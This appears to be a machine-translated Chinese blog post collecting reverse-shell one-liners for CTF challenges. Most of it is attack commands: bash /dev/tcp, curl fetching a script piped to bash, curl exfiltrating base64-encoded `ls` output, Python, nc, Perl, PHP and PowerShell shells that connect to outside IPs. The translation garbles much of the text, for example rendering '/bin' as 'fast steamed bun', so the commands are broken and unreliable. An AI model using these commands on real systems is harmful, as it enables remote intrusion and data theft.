linux反弹shell方法,反弹shell原理

  linux反弹shell方法,反弹shell原理

  前言在ctf中,经常执行的命令没有回音,所以需要弹壳,而弹壳的姿势在不同的环境下也不尽相同,所以我就总结到这里,以后遇到什么新姿势我再补充。

  常见的姿势基本是bash弹跳,python弹跳,curl弹跳。

  Bash反弹壳无话可说,因为太普通了:

  Bash-I/dev/TCP/118 . XXX . XXX/3900901 curl反弹壳其实有点类似于bash反弹。一个例子如下:

  Curhttp://118。* *.* *.* */shell.txt bash但是我一般都这样。

  Curlhttp://118。* *.* * * */`ls `直接在日志里看回显,问题很大。例如,如果执行ls/

  Curlhttp://118。* *.* * */` ls/ base64 `并且因为在传输过程中,读取的文件中可能会有一些字符无法传输,因为它也需要base64加密和解密来保证数据的完整性。不过这个有点麻烦。

  Python反弹shell通常在SSTI的标题里,最后shell可以执行但不回显。

  可以使用以下两种方法:

  python3 -c 导入套接字、子进程、OS;s=socket.socket(socket。AF_INET,socket。SOCK _ STREAM);s.connect((118。***.***.***,39555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);P=subprocess.call([/快馒头/sh ,-I ]);python3 -c 导入os、socket、子进程;s=socket.socket(socket。AF_INET,socket。SOCK _ STREAM);s.connect((118。***.***.***,39555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);P=subprocess.call([/快馒头/bash ,-I ]);用python3、python2还是python,要看环境。

  不寻常的反弹壳不寻常的意思是我没怎么用过。其实下面这些弹壳的方法我都没用过,不过我就当个记录,以防以后真的能用上。

  NC shell NC-e/快速馒头/sh ip端口perl反弹shell perl-MIO-e $ p=fork;退出,如果($ p);$ c=new IO:Socket:INET(peer addr, IP:port );STDIN-fdopen($c,r);$~-fdopen($c,w);system $ _ whileperl-MIO-e $ p=fork;退出,如果($ p);$ c=new IO:Socket:INET(peer addr, 174 . 0 . 224 . 117:8080 );STDIN-fdopen($c,r);$~-fdopen($c,w);system $ _ whilePhp反弹壳PHP-r $ sock=fsockOpen( 10 . 0 . 0 . 1 ,1234);Exec(/快馒头/sh-I 3 3 23 );Powershell反弹shell[convert]:to base 64 string([text . encoding]:unicode . getbytes(c=new-object net . sockets . tcpclient( 174 . 1 . 52 . 162 ,6666));$ s=$ c . GetStream();[byte[]]$bytes=0.65535%{0};while(($i=$s.Read($bytes,0,$bytes。长度))-ne 0){;$d=(New-Object -TypeName系统。文本. ASCIIEncoding)。GetString($bytes,0,$ I);$sb=(iex $d 21 出串);$sb2=$sb PS (pwd)。路径 ;$ sb=([正文。编码]:默认)。GetBytes($ sb2);$s.Write($sb,0,$sb。长度);$ s . Flush()};$ c . close()))PowerShell-nop-enc {反向外壳命令} pty反弹外壳python -c 导入pty;Pty.spawn(/快速馒头/bash )参考链接:

  反弹壳

linux反弹shell方法,反弹shell原理